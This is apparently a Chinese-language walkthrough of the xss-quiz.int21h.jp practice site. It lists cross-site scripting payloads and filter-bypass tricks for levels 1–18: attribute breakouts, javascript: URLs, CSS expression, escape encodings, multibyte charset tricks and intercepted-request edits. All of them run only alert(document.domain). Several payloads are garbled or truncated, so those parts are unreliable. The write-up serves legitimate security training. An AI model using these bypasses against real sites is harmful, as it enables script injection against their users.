一个偶然的机会在知道创宇的技能表里看到了一个练习XSS的网站http://xss-quiz.int21h.jp,正好想研究这个,于是试着做了一下。
第一、二题是最简单的,直接在搜索框中输入以下代码就成功了。
"><script>alert(document.domain);script>
第三题,根据提示:The input in text box is properly escaped,输入的内容已经被转义了,于是我借助了tamper data插件,在搜索框中随意输入数据,拦截提交的请求,将p2的值修改为
<script>alert(document.domain);script>
如图所示:
第四题,根据提示invisible input field,说明有hidden的input输入点,查看网页源代码,发现果然存在一个隐藏域:
同样用tamper data拦截请求信息,发现提交的数据包括p1、p2、p3,如图所示:
将p3修改为如下代码便成功了。
"><script>alert(document.domain);script>
第五题,查看源代码我们发现该题对输入的数据长度作了限制(<input type="text" name="p1" maxlength="15" size="30" value="">),因此我们还是需要利用tamper data进行请求拦截,在长度校验之后修改数据,进行数据的提交,这样就绕过了长度限制。如下图所示:
第六题,我在搜索框中直接输入"><script>alert(document.domain);script>,提交后没有成功,查看源码发现该题对<及>符号进行了html编码,而对""号并没有进行编码,如图所示:
于是我们可以才有以下代码绕过该过滤方式:
" οnmοuseοver="alert(document.domain);" x="
第七题,根据上题的结果,在搜索框中直接输入" οnmοuseοver="alert(document.domain);" x=",提交后没成功,查看源码发现该题对输入的"和<,>都进行了编码,如图所示:
不光是这样,原来value=""中包含的""也没了。对于这种情况,采用以下方式便可成功:
1 οnmοuseοver=alert(document.domain);
第八题,一直没做出来,只好直接在浏览器地址栏输入以下代码pass了。
javascript:alert(document.domain); //js伪协议
第九题, 没做出来,pass。
第十题, 输入<input type="text" name="p1" size="50" value=""><script>alert(document.);script>">,提交,结果不对。查看源码发现过滤掉了domain字符串,如图所示:
对于这种类型的过滤,可以采用如下方式绕过:
">
这样即使过滤掉了domain,还会重新构造一个domain。
第十一题, 提示:"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;" ">这样是可以的,但是没给我下一关。 ">12下一关……
第十二题, 提示:"s/[\x00-\x20\<\>\"\']//g;" ``οnmοuseοver=alert(document.domain);下一关……
第十三题, background-color:#f00;background:url("javascript:alert(document.domain);");
第十四题, 提示:s/(url|script|eval|expression)/xxx/ig cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
第十五题, 提示:document.write(); \x3cscript\x3ealert(document.domain);\x3c/script\x3e
第十六题, 提示:"document.write();" and "s/\\x/\\\\x/ig;" \u003cscript\u003ealert(document.domain);\u003c/script\u003e 用十进制也可以。\74script\76这样
第十七题, 提示:multi-byte character euc-jp的编码范围: byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE 两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain); 现在发现原来是浏览器版本问题,别用IE8了过这个。 p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
第十八题, 提示:us-ascii high bit issue 41-5A, 61-7A (若含數字與符號,則為21-7E) 同样别用IE8,这些漏洞已经在IE8中修补了。 p1=%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE